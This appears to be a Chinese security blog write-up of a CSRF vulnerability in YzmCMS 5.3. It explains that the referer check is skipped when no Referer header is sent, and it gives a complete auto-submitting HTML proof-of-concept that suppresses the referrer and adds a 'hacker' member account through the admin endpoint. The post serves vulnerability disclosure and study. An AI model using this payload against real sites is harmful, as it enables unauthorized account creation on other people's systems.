YzmCMS内容管理系统存在csrf漏洞
文章作者:maple
版权申明:本博客所有文章除特别声明外,转载请注明来自maple
版本5.3

在application\admin\controller\common.class.php文件中,我们看一下__construct魔术方法。

调用了check_referer魔术方法,我们跟进。

可以看到,判断了HTTP_REFERER,但是如果HTTP_REFERER不存在,则不会进入到该分支。
在构造POC的html中,我们只需要加一句meta标签即可将发出去的请求不会携带REFERER。
编写“添加会员”来进行测试。
Payload
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="referrer" content="never">
<title>Document</title>
</head>
<body>
<form action="http://127.0.0.1/yzmcms/member/member/add.html" method="post">
<input type="hidden" name="username" value="hacker">
<input type="hidden" name="password" value="hacker">
<input type="hidden" name="nickname" value="hacker">
<input type="hidden" name="email" value="hacker@hacker.com">
<input type="hidden" name="groupid" value="1">
<input type="hidden" name="point" value="0">
<input type="hidden" name="overduedate" value="">
<input type="hidden" name="dosubmit" value="1">
</form>
<script>
let oForm = document.querySelector('form');
oForm.submit();
</script>
</body>
</html>

点开csrf.html

成功添加用户

本文迁移自知识星球“火线Zone”